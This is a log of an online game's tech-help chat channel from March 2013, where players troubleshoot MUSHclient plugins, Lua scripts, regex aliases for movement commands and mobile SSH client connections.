T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: It's mostly prizes because it's even more english like than python, and really lightwight.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: lightweight*
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: any tutorials online?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: lua.org/pil
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: anyone know a sight where i can automatically back up a 2 to 4 gb pst file overnight?  I want it to replace the previous day one automaticAlly.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Get an external bro
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: wow swiftkey mess up
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: no chaz it has to be cloud for drp
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: how do you send output with lua? to world and to note?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: no lua gurus around?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Aurelia Tech: I got a weird plugin error when changing eq, strangely on xbroadcast_kills - any ideas how to fix this?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Doink Tech: Daughter went on a rampage on my keyboard. On Mushclient, at the very top of the client, it says, MUSHclient - {
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Doink Tech: how do you change what it says
T3/r7/2013-03-23.txt.gz:{chan ch=tech}ElFeneri Tech: try letting her walk on it again
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Doink Tech: haha
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Doink Tech: I know its a simple fix.. just cant quite find it.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Leinei Tech: That should be the world name.  First option in the conifiguration window
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Leinei Tech: (under IP address)
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Doink Tech: Nice, tks all
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Redryn Tech: the solution is #killall
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: Redryn runs away in utter terror!
T3/r7/2013-03-23.txt.gz:{chan ch=tech}RedRain Tech: gonyne3?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Redryn Tech: nynego east
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Doink Tech: Question is.. if I cant even fix it... how can a not even 2 year old change it!
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Leinei Tech: alt+1, then {, then enter
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Leinei Tech: probably the quickest way
T3/r7/2013-03-23.txt.gz:{chan ch=tech}RedRain Tech: hehe nice Leinei
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Doink Tech: ahh nod. ya it was set as..  b v   t
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: is there any reason why the mapper wont let me set "home" as a bouncerecall?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Leinei Tech: Are you using the index shown in 'mapper portals'?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yes
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Leinei Tech: what's it telling you when you try?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Redryn Tech: did you set it as a recall command?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: BOUNCERECALL FAILED: Portal #9 is not a recall portal. You must choose a mapper portal that uses either the recall or home commands for the bounce recall.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Redryn Tech: you need to tell the mapper it's a home/recall command first
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Leinei Tech: have to use mapper portalrecall 9
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: |   9 | manorwoods | my manor   | 49653 | Home                 |   0 |
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ahh kk
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Leinei Tech: then try it again
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: thanks
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Doc Holliday Tech: anyone able to help me with a *nix  problem since im freaking retarded
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Doc Holliday Tech: couldnt find pysdm for debian, and apparently im screwing up my fstab 
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Doc Holliday Tech: adding /dev/md0 /raid
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Doc Holliday Tech: but it doesnt automount
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: \n isn't a valid regex char i don't think
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: mischan
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Rabshakeh Tech: does the password still mess up when you put a @ into it?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Rabshakeh Tech: i had a problemw ith that once, color codes get included in it
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Doink Tech: Any Basts users around. Lost my even tracker miniwindow.. cant seem to get it back. Any ideas?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Doink Tech: event tracker*
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Vexthorne Tech: CHeck his site, pretty sure details how to get it back
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Doink Tech: kewl
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: try disable enable, or reinstall
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Doink Tech: tried, that.. ill try some more, maybe its more than 1. Worst case I have a backup from a few weeks ago
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Doink Tech: could be hiding behind another window... but I think I checked em all
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: try this, mev events front, then mev events show
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Doink Tech: still no dice.. maybe I need a quest to pop up
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: was that the plugin command for your events window, should be the defult one
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Doink Tech: Odd because, the spellup, moon tracker, and the window that allows you to toggle those is up. Just not the extra little quest/cp one that tells you your target.
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Aurelia Tech: Ohk, I'm having issues with a plugin I really, really, really like. Others find it annoying, I don't. I died, and so all of my eq was removed. I put it back on and the worn part of the plugin has not updated, and neither has the inventory part of the window.
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: was it basts?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Aurelia Tech: Yeah
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i didnt like it, didnt seem to work right
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Aurelia Tech: I like it, it worked fine, I want it to work again.
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: try a reinstall?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Doink Tech: reboot client may do it to
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Aurelia Tech: Thanks, I'll give it a whirl
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Aurelia Tech: Thank you! My heroes <3
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: how do I get aardwolf to run on midpssh
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: what should I set the settings to
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Pedwiddle Tech: help connect
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: still no
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: session error. writer: invalid url parameter
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Ixle Tech: What are you putting where? Does it ask for a host/port ?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: Alias: aardwolf.org Host: 66.228.127.34
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Ixle Tech: Try aardmud.org in the host and if it asks for a port make sure you use 23, 4000, or 4010
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: same as before
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Ixle Tech: well I found a how-to on midpssh and it has it set up the way you did it (with the ip in host)
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: stupid client
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: what are the other settings
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: ssh2 or ssh1 ..?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Ixle Tech: Did you select a type? Should be telnet
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: prefer: SSH1. SSHe
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: SSH2*
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Ixle Tech: Does it not list telnet?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: no
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: Terminal Type *blank*
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: http proxy *blank*
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Pedwiddle Tech: vt100 is probably your best bet for that
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Pedwiddle Tech: ...for the terminal type, that is
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: http proxy mode: off (ticked) persistent, transient
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Pedwiddle Tech: ...and you can connect to aardwolf via ssh, fwiw
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Pedwiddle Tech: We won't know whether you need to proxy...
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: shoot me, its not working
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Ixle Tech: I dunno what's wrong.
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: polling I/O on, off (ticked)
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Trachx Tech: try using bbssh - midpssh seems rather old
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Trachx Tech: sorry, it seems only for black berry
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: Type :telnet (ticked) ssh
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: I am, I hear midpssh is better
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Turie Tech: Is this for andriod?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Ixle Tech: midpssh is blackberry
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Pedwiddle Tech: blackberry
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: I'm using blackberry though ..
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: bbssh works 
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Turie Tech: bbssh or midpssh are the only two I know of.
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: sigh, I'll have to stick with bbssh, thanks though
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Aurelia Tech: hmm.. I tried to identify something, but I got a plugin error on xeqdb?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Aurelia Tech: nevermind, guess it was a fluke
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Aurelia Tech: Any idea why I am getting an error while trying to add eq to eq sets in Bast's plugin?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Aurelia Tech: A whole huge spam of it?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: the error message is not irrelevant
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Aurelia Tech: And my putset for putting it away doesn't quite look right (well, it doesn't work)
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: When in plugin form, if I want variables to persist I simply add a 'save_state="y"', is there an equivalent for my scripting file? (not in a plugin). Currently, whenever I make a change to the file, it'll reload and my values are gone (as expected), is there a way to circumvent that?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Mushclient, if it wasn't obvious.
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Glako Tech: i love mush, but i have to spend most of my time on my laptop (mac). so i use atlantis
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: tt++ and mudlet work on Mac, Glako
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: mudlet is pretty similar to mush (relatively) and it's Lua just like Mush as well.
T3/r7/2013-03-24.txt.gz:{chan ch=tech}BobTheGreat Tech: Are you storing them with Set/GetVariable()?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: No
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Glako Tech: im not super computer savvy... and i had a difficult time setting up mudlet
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Script level variables, such as foo = "bar"
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Bast Tech: i thought mush works through wine on osx
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I know I can do setvariable, but then i might as well move it to a plugin file (which it's not ready for yet)
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Bast Tech: script level variables are not saved even in plugin files
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Glako Tech: i tried the wine with the mush, it would work sometimes and others not... im not sure why
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Karang Tech: it does and it so beats mudlet down
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Nods, I know. That's again using SetVariable
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I want a way to circumvent that for some debugging purposes
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: but i can't think of any short of writing to a file and reloading
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Bast Tech: i don't know if you can import the var module, depends on if you are sending to script in your trigger or alias, and I also don't know if var works in just the world file
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Bast Tech: but the var module in lua is just a wrapper for GetVariable/SetVariable
T3/r7/2013-03-24.txt.gz:{chan ch=tech}MiniMeanie Waffles Tech: What is the command to set a room as the start of an area for mapper?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Scars Tech: i use aliases to send mapper goto roomid
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: xset mark in S&D
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Sharkin Zanion Tech: on gammon.com.au l
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: ?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Sharkin Zanion Tech: on gammon.com.au it does not list windows 8 as compatible for mushclient. Does anyone know if it works?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: no architecture change between 7 and 8. Anything that works on 7 works on 8
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Sharkin Zanion Tech: ok great, thanks
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Tech: Noegel cheers and sings... she is just BURSTING with joy!
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Noegel Tech: I logged in just in time to read that.  I didn't know, either
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: In mu-torrent, I have it set up that any torrent I download goes into Downloads/inc while downloading. Once it's finished I have it move it to an external hard drive in a folder called "Unsorted". I want to keep seeding these files, almost indefinitely, but once I move a file from Unsorted and rename for sorting's sake and move it to Sorted, the file will no longer seed (duh), is there a way to make the client update the location? (if i have to forgo renaming I will)
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Topolova Tech: can aardwolf provide a command history list? my MUD client (tintin) is issuing some invalid command every so often. trying to figure out what it is. 
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Sakata Tech: Can't move my search and destroy because the gray move point is actually out of range of my mouse outside the client board, any ideas to bring it out?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Ferun Tech: reload the ui maybe?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Troxic Tech: try xset reset gui
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Dupian Tech: is there a way to prevent mushclient from displaying an empty line in the main windows when a chat line is captured in the chat window?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Leinei Tech: Mine doesn't show blank lines if I have main window echo off
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Do you have compact on, Lei?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Leinei Tech: nope
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Leinei Tech: Hmm, actually, it looks like it does show a blank line, but only for the first chat after a prompt
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Leinei Tech: But I think that's due to the mud.  It always sends a blank line for the first thing sent after you see your prompt, it looks like
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Leinei Tech: with compact off, that is
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Dupian Tech: with compact on it does the same thing for me. anyway, thanks for checking Leinei
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Leinei Tech: You're seeing blank lines for every single chat?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Leinei Tech: If you end your prompt with a %c, you're always going to see a blank line after your prompt, even with compact on.
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Leinei Tech: But otherwise, you shouldn't be seeing any blank lines
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Dupian Tech: thanks, will look into that
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Naiba Tech: can anyone help me with some regex. i'm trying to make a expression that only matches a single character for directions. eg. n or s or e or w. "bow" or a "sword" or "scan n" should not trigger it
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Bast Tech: "^n$"
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Bast Tech: "^[nsew]$" would probably be better, but I am sure someone will correct me
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: (e|s|w|n|
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Naiba Tech: will try that. i had /^[nsew]$/ but didnt seem to work
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: (e|s|w|n|u|d)+ match on 1+ any direction
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Bast Tech: when you say regex, where are you using this regex?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Naiba Tech: as an alias
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: For example. my charge alias is "^c{e|s|w|n|u|d)$" will match on any dir and charge that direction
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: s/{/(
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Too drunk to type
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Naiba Tech: im getting abit confused. so it's "^s/{/(e|s|w|n)$"?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Tell me what you're trying to accomplish, and i'll write the regexp for ya
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Naiba Tech: im trying to make a single alias that will replace my n/s/e/w move commands
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: (n|e|s|w|u|d)+  --> run %1
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Naiba Tech: without it executing on things like words, or scan e
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Naiba Tech: kk will try that!
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: That regexp will take a string like nneessw and will execute "run 2n2esw"
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Naiba Tech: hmmm it's executing on words as well. i typed look sword and i moved w. 
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: that's weird, did you click the 'convert to regexp' buttton?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Naiba Tech: i didnt click the button. but the check box is ticked
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: the complete regexp should look like --> "^(n|e|s|w|
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: the complete regexp should look like --> "^(n|e|s|w|u|d|)+$"   and it should send 'run %1'
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: err, ^((n|e|s|w|u|d)+)$ and should send "run %1"
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Naiba Tech: the second one seems to work!!!
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: it should :P
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Naiba Tech: hahahhaha okay thank you so much!!! i'll look up those symbols in regex and try to figue out how your expression works
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Fatal FrostBite Tech: Cheez is the Regex master when not intoxicated =P
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto snickers softly.
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I'm intoxicated right now :P
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Extemely so, in fact
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Naiba Tech: hahhaha on what?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I don't really care.
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: A mixture of things :P_
T3/r7/2013-03-24.txt.gz:{chan ch=tech}BobTheGreat Tech: Hmm. Why not use [neswud] instead of an extra capturing group?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I do it so I can do logic on it, such as "if '%1' ~= 'news'"
T3/r7/2013-03-24.txt.gz:{chan ch=tech}BobTheGreat Tech: ^([neswud]+)$ still allows you to do that, no?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Yeah, it does.
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I'm just old-school, what can i say :P
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Hanslanda Tech: what are you deriving your directions from?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: ask me when I'm sober and can acurateely answer :P
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: wow, my spelling
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Hanslanda Tech: to answer the original query, don't forget to use the word-boundary wildcards
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: There's no need. The regex i supplied will work for now. Granted there's more effecient ways, but the regexp i supplied will work without fail
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I'm just too damn drunk to fomulate the regexp properly :P
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Hanslanda Tech: that's true, but what if he was wanting to do this on a speedwalk?
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: The way i read it, he wanted to type something like "neeswwdun" and have it send "run neeswwdun"
T3/r7/2013-03-24.txt.gz:{chan ch=tech}BobTheGreat Tech: I think all he wanted was 'n' or 'e', etc
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: My regexp would work in that case too
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Naiba Tech: cheez got it right. it works like a charm. just trying to figure out why that alias isn't calling up my lua function
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: If you provide more info, i could likely solve that for you too :P
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Naiba Tech: hahah :D okay, but let me try to solve it first. don't want to trouble everyone on simple stuff
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Hehe, have fun. :P
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Once you learn regexp, you'll never regret it :P
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Until you have to learn the differences between all the other formats of regexp...
T3/r7/2013-03-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: truth :P
T3/r7/2013-03-24.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: By Tru :P
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Naiba Tech: bah i solved it but its a really basic level.. i have no idea of how to do a complete function. i was trying to create an auto door opening alias + lua function + trigger
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Naiba Tech: it works fine now but only if i move 1 direction at a time. if its a run 2n3e whatever multi direction, it's going to go crazy cos i save the "line" parameter as a world varaible and pass it to the trigger to open the door
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Naiba Tech: anyway! thanks so much everyone, at least i managed half the problem :D
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Getsuko Tech: Can I have triggers based on what I type?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}BobTheGreat Tech: You mean aliases?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Getsuko Tech: yes and no.  I want to play a sound when I recall, but the recall command doesn't create any text for my trigger.  I could do a client-side alias for recall, but it would not be an elegant solution
T3/r7/2013-03-25.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: sounds fairly simple to set up
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Getsuko Tech: It is simple to do, except if I type type recall exactly (eg i do "reca"), then I need two aliases
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Naiba Tech: is it possible to reference an alias from an alias? eg. alias1 does "run 2n
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Naiba Tech: and uses another alias
T3/r7/2013-03-25.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yes, set aliase, sendto execute
T3/r7/2013-03-25.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i think
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Naiba Tech: so if the second alias is called tele. what would i put in the original alias?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Naiba Tech: set tele, sendto execute?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: 1 sec, the second alias triggers on tele?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Naiba Tech: yes, the second alias triggers on "tele"
T3/r7/2013-03-25.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: you would set the first alias, sento execute, and get it to send tele to trigger the seccond alias i beleive
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Getsuko Tech: I'm making triggers to associate some actions with sounds from my first MMO of yesteryear :)
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Naiba Tech: sorry remarto i dont believe i understand. im making a client side alias. so the command to use the nested alias is? sendto tele? doesnt work though. do you know where i can read up on a possible solution online?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i learned from http://www.gammon.com.au/forum, i think it has a tutorial on basic triggers and alias's
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Naiba Tech: okay thanks! :D
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Naiba Tech: i've been searching for an hour now and it seems like its possible to do nested alias. but they all involve scripting, is there a way to do a nested client side alias?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Which client?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: he is using mush i think
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Birdbrain Metria Tech: And what is it exactly you're trying to do?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Naiba Tech: mushclient for aardwolf
T3/r7/2013-03-25.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: trying to get an alias to trigger another alias
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Sure, you can do that.
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Change the "Send To" drop down box to "Execute"
T3/r7/2013-03-25.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah im no good at explaining it and i prob confused him
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Naiba Tech: oooh holy cow that was simple hahah. thanks metria and remarto! yea i didnt understand what u were saying remarto, i kept tying send to(Excecute) variations of it
T3/r7/2013-03-25.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i did say Send to, not send box
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Woot, glad you got it working :)
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Naiba Tech: phew... that was a good hour of searching. glad i got it to work
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Naiba Tech: with you guys help of course! :D
